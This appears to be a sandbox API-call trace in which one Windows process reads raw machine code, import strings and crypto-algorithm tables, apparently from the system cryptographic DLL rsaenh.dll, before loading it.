06:37:11,655	996	NtReadFile	Buffer => \xec\x8bE\x10\x8b\x08\xf6\xc1\x01u9\x83\xf9 r4\xd1\xe9\x89\x08\x8b\xc1\xc1\xe8\x05@\xf6\xc1\x1ft\x01@\x8d\x0c\x80\x8d\x14\xcd\x14\x00\x00\x00\x8bM\x0c\x89\x11\x8d\x14\xc5\x14\x00\x00\x00\x8bE\x08\x89\x10\xb8\x01\x00\x00\x00]\xc2\x0c\x003\xc0]\xc2\x0c\x00\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xec\x81\xec\x90\x00\x00\x00S\x8b]\x08\x8b\x03W3\xff=RSA1\x89}\xfct _3\xc0[\x8b\xe5]\xc2\x0c\x00\x8bC\x08\xd1\xe8V\x8b\xf0\xc1\xee\x05F\xa8\x1ft\x01F\x8bK\x10\xb8\x01\x00\x00\x00;\xc8\x8d\x0c6u\x11\x8bu\x0c\x8b}\x10\xf3\xa5^_[\x8b\xe5]\xc2\x0c\x00\x8dC\x14QP\x89E\xf8\x8bE\x0cP\x89M\x08\xe8#\x08\x00\x00\x85\xc0}b\xc1\xe6\x03\x81\xfe\x88\x00\x00\x00v\x14Vj\x00\xff\x15\x00\x11\x00h\x85\xc0\x89E\xfctG\x8b\xd0\xeb\x06\x8d\x95p\xff\xff\xff3\xc0\x8b\xce\xc1\xe9\x02\x8b\xfa\xf3\xab\x8b\xce\x83 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => \xd5\xf8\xff\xff\xff\x89M\x14\xeb\x06\x8bu\xf4\x8bE\x10\x8bM\xcc3\xd2\x8a4\x06\x8aT\x06\xff\x8b\xc2\xc1\xea\x08;\xcau \xbe\xff\x00\x00\x00\x89u\x1c\xeb 3\xd2\xf7\xf1\x89E\x1c\x8b\xf0\x8b\xc6%\x00\x00\x00\x80\xf7\xd8\x1a\xc0\x8bM\xfc\x8b}\xf8\x89]\xd8\x8d\x0c\x8d\xfc\xff\xff\xff\x8b\xd1\x897%\xff\x00\x00\x00\x0f\xb6\xc0\x8a\xd8\x8bu\xfc\x8a\xfb\xc1\xe9\x02\x83\xc7\x04V\x8b\xc3\xc1\xe0\x10f\x8b\xc3\x8b]\xd8\xf3\xab\x8b\xca\x83\xe1\x03\xf3\xaa\x8bE\xf8\x8bM\xf0PQS\xe8\xfd\xf6\xff\xff\x8b}\xec\x8d\x0c\xb5\x00\x00\x00\x00\x8b\xd1\xc1\xe9\x023\xc0\xf3\xab\x8b\xca\x83\xe1\x03\xf3\xaa\x8bE\x14\x8b}\xec\x8b\xc8\x83\xe1\x1f\xba\x01\x00\x00\x00\xd3\xe2V\xc1\xe8\x05S\x89\x14\x87\x8bE\xf8WP\xe8\xbf\xf6\xff\xff\x8bM\xf8\x8bU\xf4VQRS\xe8T\x04\x00\x00\x8bG\xfc\x85\xc0y)\x8bE\xf0\x8bM\xf8VPWQ\xe8\x9a\xf6\xff\xff\x8bU\xf8VRSS\xe8\xee\x03\x00\x00\x8bM FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => \x00+\xc1\x83\xd2\x00\x89D\xaf\x0c\x8b\xca\x83\xc5\x04u\x96]\x8b\xc1_^[]\xc2\x10\x00\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xecSVW\x8bu\x0c\x8b}\x08\x8bM\x103\xdb\x8b\x06\x83\xc6\x04\xf7\xe0\x03\xd8\x8b\x07\x83\xd2\x00\x03\xc3\x8b_\x04\x83\xd2\x00\x89\x07\x03\xd3\xbb\x00\x00\x00\x00\x89W\x04\x83\xd3\x00\x83\xc7\x08Iu\xd5_^[]\xc2\x0c\x00\xcc\xcc\xcc\xcc\xccj\x08hx`\x00h\xe8\x9e1\xff\xff\x83e\xfc\x00\xffu\x08\xff\x15\xb4\x11\x00h\x83M\xfc\xff3\xc0\xeb\x1e\x8bE\xec\x8b\x00\x8b\x003\xc9=\x17\x00\x00\xc0\x0f\x94\xc1\x8b\xc1\xc3\x8be\xe8\x83M\xfc\xffj\x08X\xe8\xa11\xff\xff\xc2\x04\x00\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xec]\xff%\xb8\x11\x00h\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xec\x83\xec@VWj\x0eY3\xc0\x8d}\xc0\xf3\xab\x8dE\xfcPj\x013\xf6!u\xfc!u\xf8j\x08\xff\x15\x08\x11\x00hP\xff\x15 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => \xff\xff\xff\xd6\x85\xc0t%\x8d\x85\xe4\xfb\xff\xffPSSSSSSSj\x123\xf6FV\x8d\x85\xf4\xfb\xff\xffP\xff\x15D\x10\x00h\x85\xc0u \xff\x15\xc8\x11\x00h\x8b\xf8\xeb\x1c\x8b\x85\xdc\xfb\xff\xff\xff0\xff\xb5\xe4\xfb\xff\xff\xff\x15P\x10\x00h\x85\xc0t\x02\x8973\xff9\x9d\xe0\xfb\xff\xfft\x0b\xff\xb5\xe0\xfb\xff\xff\xe8I\xf1\xff\xff9\x9d\xe4\xfb\xff\xfft\x0c\xff\xb5\xe4\xfb\xff\xff\xff\x15$\x10\x00h9\x9d\xe8\xfb\xff\xff\x8b5\x04\x11\x00ht\x08\xff\xb5\xe8\xfb\xff\xff\xff\xd69\x9d\xf0\xfb\xff\xfft\x08\xff\xb5\xf0\xfb\xff\xff\xff\xd6\x8bM\xfc\x8b\xc7_^[\xe8\xb8\x1e\xff\xff\xc9\xc2\x04\x00\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xec\x81\xec \x04\x00\x00\xa1\x84\x18\x03hS\x89E\xfcV3\xdb\x8d\x85\xfc\xfb\xff\xffW\x8b}\x08\x89\x85\xe0\xfb\xff\xff\x8d\x85\xf0\xfb\xff\xffPj\x08\x89\x9d\xf0\xfb\xff\xff\xc7\x85\xec\xfb\xff\xff\x00\x04\x00\x00\x89\x9d\xe4\xfb\xff\xff\x89\x9d\xe8\xfb FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => \x00\x00\x8d\x85T\xff\xff\xffP\xe9Q\xff\xff\xff\x89\x8dP\xff\xff\xff\xe9\x82\x02\x00\x00W\xff\xb5H\xff\xff\xff\xff\x15,\x11\x00h\x83\xf8\xff\x0f\x84\xfb\xfe\xff\xff\x83\xf8\x1c\x0f\x82c\x02\x00\x00WWWj\x02W\xff\xb5H\xff\xff\xff\xff\x15<\x11\x00h;\xc7\x89\x85<\xff\xff\xff\x0f\x84\xd2\xfe\xff\xffWWWj\x04P\xff\x158\x11\x00h;\xc7\x89\x85L\xff\xff\xff\x0f\x84\xb8\xfe\xff\xff\x8b\x00\x83\xf8\x02\x89\x03\x0f\x85\x1c\x02\x00\x00\x83{ \x00\x8b\x85L\xff\xff\xff\x8dS\x04j\x07\x8dp\x04Y\x8b\xfa\xf3\xa5t\x14\x83:\x00t\x0f\xc7\x85P\xff\xff\xff"\x00 \x80\xe9\xef\x01\x00\x00\x8bH \x8b@$\xffs\x08\x89\x8d4\xff\xff\xff\x89\x858\xff\xff\xff\xe8\xa6\xe0\xff\xff\x85\xc0\x89C@\x0f\x84q\x01\x00\x00\x8bK\x08\x8b\xb5L\xff\xff\xff\x8b\xf8\x8b\xc1\xc1\xe9\x02\x83\xc6(\xf3\xa5\x8b\xc8\x83\xe1\x03\xf3\xa4\x8bs\x08\xffs\x1c\x83\xc6(\x89\xb5P\xff\xff\xff\xe8k\xe0\xff FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => \x83\xf8\x05\x0f\x85h\x01\x00\x00C\xeb\xc3\xff\xb5\xa8\xfd\xff\xff\xff\x15\xc0\x11\x00h\x83\x8d\xa8\xfd\xff\xff\xff\x83\xa6\x04\x01\x00\x00\x00\x89\x9e\x08\x01\x00\x00i\xdb\x05\x01\x00\x00S\xc7\x86\x00\x01\x00\x00\x05\x01\x00\x00\xe8*\xd1\xff\xff\x85\xc0\x89\x86\x0c\x01\x00\x00u\x08j\x08[\xe9\x1f\x01\x00\x003\xc0PP\xb9\x94\x00\x00\x00\x8d\xbd\xac\xfd\xff\xffP\xf3\xab\x8d\x8d\xac\xfd\xff\xffQP\xff\xb5\x98\xfd\xff\xff\xff\x15$\x11\x00h\x83\xf8\xff\x89\x85\xa8\xfd\xff\xff\x0f\x84\x00\xff\xff\xff\x8b\x1dD\x11\x00h\x8d\x8d\xac\xfd\xff\xffQP\xff\xd3\x85\xc0t"3\xc0\xb9\x94\x00\x00\x00\x8d\xbd\xac\xfd\xff\xff\xf3\xab\x8d\x85\xac\xfd\xff\xffP\xff\xb5\xa8\xfd\xff\xff\xff\xd3\x85\xc0u\x0e\xff\x15\xc8\x11\x00h\x83\xf8\x12\xe9\xc5\xfe\xff\xff\x83\xa5\x9c\xfd\xff\xff\x00\x83\xbe\x08\x01\x00\x00\x00\x8b\xbe\x0c\x01\x00\x00\x0f\x86\x86\x00\x00\x00\x8d\x85\xa0\xfd\xff\xffPW\xff\xb5\xa4\xfd\xff\xff\x8d\x85\xd8\xfd\xff\xffPj\x01\xc7\x85 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => W\xe8\x13\xfc\xff\xff\x85\xc0u:\x8dE\xfcP\x8dE\xf8PVh\xe4\x1a\x03hha\x1d\x00\x00W\xe8\xf6\xfb\xff\xff\x85\xc0u\x1d\x8dE\xfcP\x8dE\xf8PVh\x04\x1b\x03hhb\x1d\x00\x00W\xe8\xd9\xfb\xff\xff\x85\xc0t*\x8b\xf0\xa1\xa8\x1a\x03h\x85\xc0t P\xe8Z\xc1\xff\xff\x83%\xa8\x1a\x03h\x00\x85\xfft\x07W\xff\x15\xa4\x11\x00h\x8b\xc6\xe9\x92\x00\x00\x00\xa1\xa8\x1a\x03h\x01\x05\xbc\x1a\x03h\x01\x05\xc0\x1a\x03h\x01\x05\xc4\x1a\x03h\x01\x05\xb0\x1a\x03h\x01\x05\xb4\x1a\x03h\x01\x05\xb8\x1a\x03h\x01\x05\xd4\x1a\x03h\x01\x05\xd8\x1a\x03h\x01\x05\xc8\x1a\x03h\x01\x05\xcc\x1a\x03h\x01\x05\xd0\x1a\x03h\x01\x05\xe0\x1a\x03h\x01\x05\xf4\x1a\x03h\x01\x05\xfc\x1a\x03h\x01\x05\xf8\x1a\x03h\x01\x05\x00\x1b\x03h\x01\x05\xdc\x1a\x03h\x01\x05\xf0\x1a\x03h\x01\x05\xec\x1a\x03h\x01\x05\xe8\x1a\x03h\x01\x05\xe4\x1a\x03h\x01\x05\x04\x1b\x03hW\xff\x15\xa4\x11\x00h3\xc0 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => \x11\x00h3\xff\xe9\x88\x00\x00\x003\xc0\x8dM\xfc@QPS\x89E\xf4\xff\xd6P\xff\xd7\x85\xc0t]3\xc0\x8d}\xd8\xab\xab\xab\xab3\xc0\x8d}\xc8\xab\xab\xab\xab\x8dE\xe8Ph c\x00hj\x00\xff\x15p\x10\x00h\x85\xc0t6\x8bE\xe8\x89E\xdc\x8bE\xec\x89E\xe0\x8dE\xf0P\x8dE\xc8Pj\x10\x8dE\xd8Pj\x00\xffu\xfc\xc7E\xd8\x01\x00\x00\x00\xc7E\xe4\x02\x00\x00\x00\xff\x15\x80\x10\x00h\x89E\xf83\xff\xffu\x1c\xffu\x18\xffu\x14\xffu\x10\xffu\x0c\xe8\xc3\xe6\xff\xff9}\x08\x8b\xf0t\x179}\xf8t\x12WWj\x10\x8dE\xc8PW\xffu\xfc\xff\x15\x80\x10\x00h9}\xfct \xffu\xfc\xff\x15\x04\x11\x00h9}\xf4t\x06\xff\x15X\x10\x00h_\x8b\xc6^[\xc9\xc2\x18\x00\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xecQV\x8b5\x08\x1b\x03hWV\x89u\xfc\xe8\x88\xaf\xff\xff\x8b\xf8\x85\xff\x0f\x85\x02\x01\x00\x009F \x0f\x84\xf1\x00\x00 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => \xc0\x0f\x84\xd2\xfc\xff\xff3\xf6F\x83}\xb4\x00\x0f\x85\xfd\x01\x00\x00\x8bM\xb0\x8dA\x019E\xd4\x0f\x84\xee\x01\x00\x009M\xd4\xffu\x10\x0f\x85\xd8\x01\x00\x00\x8dE\xb8P\xffu\xe4\xffu\x0c\xffu\x08\xe8]-\x00\x00\x8b\xf0\x85\xf6\x0f\x84\xe3\x01\x00\x00\x83}\xb8\x01uj\xffu\x10\x8dE\xbcP\x8bE\xcc\xff0\xffu\x0c\xffu\x08\xffu\xc8\xffs \xe8\x07\xf9\xff\xff\x8b\xf0\x85\xf6\x0f\x84\xb6\x01\x00\x00\x83}\xbc\x00u=\xffu\x10\xffu\x0c\xffwT\xffu\x08\xe8G+\x00\x00\x85\xc0\x0f\x84B\xfc\xff\xff\xffu\x10\x8dE\xacPj\x01j\x08\xffwT\xffu\x0c\xffu\x08\xe8&7\x00\x00\x85\xc0\x0f\x84!\xfc\xff\xff3\xf6F\x83}\xac\x00\x0f\x84\xe8\xfe\xff\xff\xffE\xfc\x83E\xd0\x04\x83E\xdc\x08\x83E\xcc\x04\x83}\xfc\x01\x0f\x86\x18\xfc\xff\xff\x83e\xfc\x00\x8dG<\x89E\x08\x8dC0\x89E\xcc\x8dC8\x89E\xd0\xffu\x10\x8bE\x08\xffu\xd0j\x01\xff FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => \xd0\x8b\xd9\x83\xe0\x1f\xc1\xea\x05\xc1\xee\x05;\xc3\x89]\xfcr\x1b\x8dK\x01;\xf9\x89M\x18w\x03\x89}\x18\x8b\xc8\x8bE\x08\x8b\x14\x90+\xcb\xd3\xea\xeb\x19\x8dH\x01;\xf9\x89M\x18w\x03\x89}\x18\x8b\xcb+\xc8\x8bE\x08\x8b\x14\x90\xd3\xe2j Y+M\x18\x83\xc8\xff\xd3\xe0j\x1fY+M\xfc\xd3\xe8\x8bM\x10\x8d\x0c\xb1\x8b\xf0\xf7\xd6#1#\xc2\x0b\xf0+}\x18\x891\x0f\x85w\xff\xff\xff^[3\xc0@_\xc9\xc2\x18\x00\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xecVW\xffu\x0c\x8b}\x08W\xe8\xbe\xfd\xff\xff\x8b\xf0\x85\xf6t\x0f\xfft\xb7\xfc\xe8Z\xfe\xff\xffN\xc1\xe6\x05\x03\xc6_^]\xc2\x0c\x00\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xecV3\xc93\xf69M\x0ct\x0e\x8bE\x089\x0c\xb0u\x18F;u\x0cu\xf5\xffu\x10Qj\x11\xe8\\xb7\xfe\xff3\xc0^]\xc2\x0c\x00\xff4\xb0\xe8M\xfe\xff\xff\xc1\xe6\x05\x03\xc6\xeb\xec\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xecQ FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => \xfc\x839\x00u\x08N\x83\xe9\x04\x85\xf6u\xf3\x8dD\x18\xfc\x838\x00u\x08J\x83\xe8\x04\x85\xd2u\xf3\xffu0\x8b]\xe4\x8dE\x80P\xffu,\x89u\xe8\x8bu\xe0SV\x8dE\x90P\x89U\xec\xe8\x89'\x00\x00\x85\xc0\x0f\x84 \x01\x00\x00\x8bM\x803\xffG\x85\xc9u 9M\x84\x0f\x84\x00\xfc\xff\xff\x8bE,;E\x14\x0f\x83\xf1\x00\x00\x00\x89\x0c\x86\x8bE,\x8bM\x84\x89\x0c\x83\xe94\xfe\xff\xff\x8b}\xf4\x8bU\xb4\xc1\xe7\x02\xc1\xe2\x02\x8bD\x15\xe8\x8bL\x15\xe0\x8dt=\xe8\x8b\x1e+\xd8\x89E\xfc\x8bE,C\x89M\xb4\xe8\xcb\xf6\xff\xff\xffu0\x89E\xf8\xffu\xd4\x8bD=\xd8\xffu\xd0j\x00\xffu\xfc\xfft\x15\xd8\xff6P\xe8\xa1\x11\x00\x00\x85\xc0\x0f\x84\x85\x00\x00\x00\x8bM\xd0\x8b\xc3\xe8\x98\xf6\xff\xff\x8bM\xd4\x8b\xd8\x8bE\xfc\xe8\x8b\xf6\xff\xff\x89\x06\xc1\xe0\x02P\xffu\xd4\xfft=\xd8\xe8\xe1<\x00\x00\x83\xc4\x0c\xffu0\xffu\xd4\xffu FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => \x01\x00\x00\x8dt\x9e\xfc\x8b\x06;\xc1\x89u\xe8\x0f\x84\xff\x00\x00\x00P\x89M\xfc\x89M\xec\xe8\xe0\xde\xff\xff\x8b>j Y+\xc8\x83\xfb\x02\x89M\xf8r \x8bE\x08\x8bt\x98\xf8\xeb\x023\xf6\x83\xfb\x03r \x8bE\x08\x8bT\x98\xf4\xeb\x023\xd2j\x1f[\xffu\x14+\xd9\x83e\xf4\x00\x8b\xc6\xd1\xe8\x8b\xcb\xd3\xe8\x8bM\xf8\xd3\xe7\xd1\xea\x8b\xcb\xd3\xea\x8bM\xf8\xd3\xe6\x0b\xc7\x8d}\xecW\x0b\xd6\x8b\xf2\x83\xcb\xff\x8d}\xfcW\x8b\xd3P+\xd0\x8b\xcb+\xceRQ\xe8\xa8\xfe\xff\xff\x85\xc0t9\x8bE\xfc\xf7\xe6;U\xec\xc7E\xf4\x01\x00\x00\x00\x89E\xe0v\x03\xffM\xfc\x8bM\xf8\x8bE\xe8\x8b}\x0c\x8b\xf3\xd3\xee+0O;u\xfcsD\x85\xffv\x0f\x8bE\x08\x8bD\xb8\xfc\xeb\x08\x83e\xf4\x00\xebW3\xc0\x8bU\x08\x83e\xe4\x00\x8b\xcb+\xc8\x8bE\xfc\xf7$\xba;\xd6w\x17r\x04;\xc1w\x11+\xc8\x1b\xf2\x89u\xe4\x8b\xf1u \x85\xffu\xbb\xeb\x03 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => \xfb\xcb\x0f\xd4\xc1\x0f\x7f\xc1\x0f\x7f\xd3\x0f\xdb\xcb\x0f\x7f \x83\xc1\x10O\x0fs\xd0 \x0f\x7f\xc1u\xd19S\x0c\x0f\xef\xc0\x0f\x7f\xc3\x0f\xfb\xd9\x0f\x7f\xd9\x0f\xdf\xcat.\x8bK\x08+\xf1\x0fo\x14\x0e\x0f\xd4\xc2\x0fo\x11\x0f\x7f\xcb\x0f\xdb\xd3\x0f\xd4\xc2\x0f\x7f\xc2\x0f~\xd7\x89<\x90B\x83\xc1\x10;S\x0c\x0fs\xd0 u\xd7\x0fw3\xc0_@^\x8b\xe5]\x8b\xe3[\xc2\x0c\x00\xcc\xcc\xcc\xcc\xcc\x8b\xffS\x8b\xdcQQ\x83\xe4\xf0\x83\xc4\x04U\x8bk\x04\x89l$\x04\x8b\xec\x83\xec8\x8bC\x10\x8bK\x18\x83e\xec\x00\x83M\xe8\xff\x83e\xe4\x00\x83M\xe0\xfff\x0foU\xe0\x89E\xd0\x8bC\x14V\x8b0W\x8bx \x8b@\x1c\x89E\xdc\x8bC\x08\x8b\x10\x0f\xafU\xdc\x83\xc1\x0f\x8b\xc6\x83\xe1\xf0\xc1\xe0\x04\x03\xc1\x85\xf6\x89U\xc8\x89E\xd4tY\x8bS\x08+\xd7\x89E\xf8)M\xf8f\x0f\xef\xc0\x89M\xd8\x89}\xfc\x89U\xcc\x89u\xf4\xeb\x03\x8bU\xcc\x8b}\xfc FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => \xff\x85\xf6t\x08\x8b\xc8\x8b\xc2\x8b\xd1\x8b\xce\x83e\x14\x00\x85\xd2_u\x0f\x8bU\x18\x8bu\xfc\x89\x02\x89J\x04\xebh\xd1\xea\x8b\xda\xf7\xd3\xf6\xc3\x01u\xf5\xeb1;\xc2\x1b\xf6\xf7\xde+\xce+\xc2\xeb \x8b\xf1\xc1\xe6\x1e\xc1\xe8\x02\x0b\xc6\xc1\xe9\x02\xa8\x03t\xef\x8b\xd8\xf7\xd3\xf6\xc3\x01t\x0b\x8b\xf1\xc1\xe6\x1f\xd1\xe8\x0b\xc6\xd1\xe9\x85\xc9u\xcb\xffu\x1c\x8dM\x14QRP\xe8 \xfe\xff\xff3\xf6\x85\xc0t\x12\x8bE\x14\x83e\x14\x00\x8bM\x18F3\xd2\x89\x01\x89Q\x04\x8b\xc6^[\xc9\xc2\x18\x00\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xec\x83\xec\x10SVW\xffu\x1c\xffu\x10\xffu\x0c\xe8\xd3\xbf\xff\xff\x8bu\x18\x8b\x1e\xffu\x1c\x8bN\x08\x89E\xf8\x8b\xc3\xc1\xe0\x02j\x00\x03\xc8Q\x89E\xf0\xe8 \xc6\xff\xff\x8b\xf8\x85\xff\x89}\xfcu\x073\xdb\xe9\xbc\x01\x00\x00\x83}\xf8\x00\xffu\x1c\xff6u\x1d\xffv \x8bF,\xffu\x14PP\xe8\xf8\xb3\xff\xff\x8b\xd8\xf7\xdb FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => Data\x002\x00\x00CryptUnprotectData\x00d\x00\x00SHGetFolderPathW\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\xe0\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xe0\x02\x00\xe0\x11\x00\x00\x10\xdf\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00N\xe3\x02\x00\xd4\x10\x00\x00<\xde\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00j\xe4\x02\x00\x00\x10\x00\x00T\xe0\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\xe7\x02\x00\x18\x12\x00\x00\x0c\xe0\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00D\xe7\x02\x00\xd0\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\xea\x02\x00\x00\xea\x02\x00\xe0\xe9\x02\x00\xc2\xe9\x02\x00\xa6\xe9\x02\x00\x8a\xe9\x02\x00 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00FL\x01h\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00J\xdd\xa2,y\xe8!\x05\xd4\x13\x00h\xc0\x13\x00h\xbc\x13\x00h\xa8\x13\x00h\x94\x13\x00h\xbc\x13\x00h\x80\x13\x00hl\x13\x00h\xbc\x13\x00hX\x13\x00hH\x13\x00h FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => m (SHA-1)\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x80\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00 \x00\x00\x00\x04\x00\x00\x00MD2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x17\x00\x00\x00Message Digest 2 (MD2)\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x80\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00 \x00\x00\x00\x04\x00\x00\x00MD4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x17\x00\x00\x00Message Digest 4 (MD4)\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x80\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00 \x00\x00\x00\x04\x00\x00\x00MD5\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x17\x00\x00\x00Message Dige FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtReadFile	Buffer => \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00RSA Data Security's RC4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01f\x00\x008\x00\x00\x008\x00\x00\x008\x00\x00\x00\x0f\x00\x00\x00\x04\x00\x00\x00DES\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00Data Encryption Standard (DES)\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 f\x00\x00p\x00\x00\x00p\x00\x00\x00p\x00\x00\x00\x0f\x00\x00\x00 \x00\x00\x003DES TWO KEY\x00\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00Two Key Triple DES\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03f\x00\x00\xa8\x00\x00\x00\xa8\x00\x00\x00\xa8\x00\x00\x00\x0f\x00\x00\x00 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,655	996	NtQueryInformationFile	FileHandle => 0x000000dc FileInformation => \xd0\x10\x03\x00\x00\x00\x00\x00	SUCCESS	0x00000000
06:37:11,665	996	NtSetInformationFile	FileHandle => 0x000000dc FileInformation =>	SUCCESS	0x00000000
06:37:11,665	996	NtReadFile	Buffer => \x00\x01\x00\x00P\x01\x00\x00\x1c\x86V\xe4\x80\xb9\x0fs\x00\x007\x00C\x00A\x00P\x00I\x00:\x00 \x00T\x00h\x00e\x00 \x00i\x00n\x00s\x00t\x00a\x00l\x00l\x00 \x00p\x00r\x00o\x00g\x00r\x00a\x00m\x00 \x00c\x00o\x00u\x00l\x00d\x00 \x00n\x00o\x00t\x00 \x00o\x00p\x00e\x00n\x00 \x00s\x00i\x00g\x00n\x00a\x00t\x00u\x00r\x00e\x00 \x00f\x00i\x00l\x00e\x00?\x00C\x00A\x00P\x00I\x00:\x00 \x00T\x00h\x00e\x00 \x00i\x00n\x00s\x00t\x00a\x00l\x00l\x00 \x00p\x00r\x00o\x00g\x00r\x00a\x00m\x00 \x00c\x00o\x00u\x00l\x00d\x00 \x00n\x00o\x00t\x00 \x00g\x00e\x00t\x00 \x00t\x00h\x00e\x00 \x00s\x00i\x00z\x00e\x00 \x00o\x00f\x00 \x00R\x00s\x00a\x00b\x00a\x00s\x00e\x00.\x00s\x00i\x00 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,665	996	NtReadFile	Buffer => \x07:\x0e:\x18:%:t:\x81:\x8f:\x9f:\xad:\xbb:\xc9:\xda:\xe8:\xf6:\x04;\x12; ;2;C;Q;\xa0;\xdb;\xe5;\xef;\xf9;\x10<\x17<'<4<M<T<a<l<~<\x85<\x8f<\x99<\xda<\xe7<\xf7<\x01=\x18=\x1f=/=:=Q=X=h=s=\x85=\x8c=\x96=\xa3=\xde=\xeb=\xfb=\x05>\x1c>#>3>>>R>Y>i>t>\x86>\x8d>\x97>\xa4>\xdf>\xe9>\xf9>\x03?\x17?$?4???S?Z?j?u?\x87?\x8e?\x98?\xa3?\xdc?\xe6?\xf6?\x00\x80\x01\x00\xe4\x01\x00\x00\x000\x170\x1e0.090L0W0g0r0\x840\x8b0\x950\xa20\xee0\xfa0\x081\x1e1(181F1W1d1t1\x821\x901\xa21\xaf1\xbd1\xcb102k2u2\x7f2\x892\xa02\xa72 FileHandle => 0x000000dc	SUCCESS	0x00000000
06:37:11,725	996	LdrLoadDll	Flags => 522784 BaseAddress => 0x68000000 FileName => rsaenh.dll	SUCCESS	0x00000000
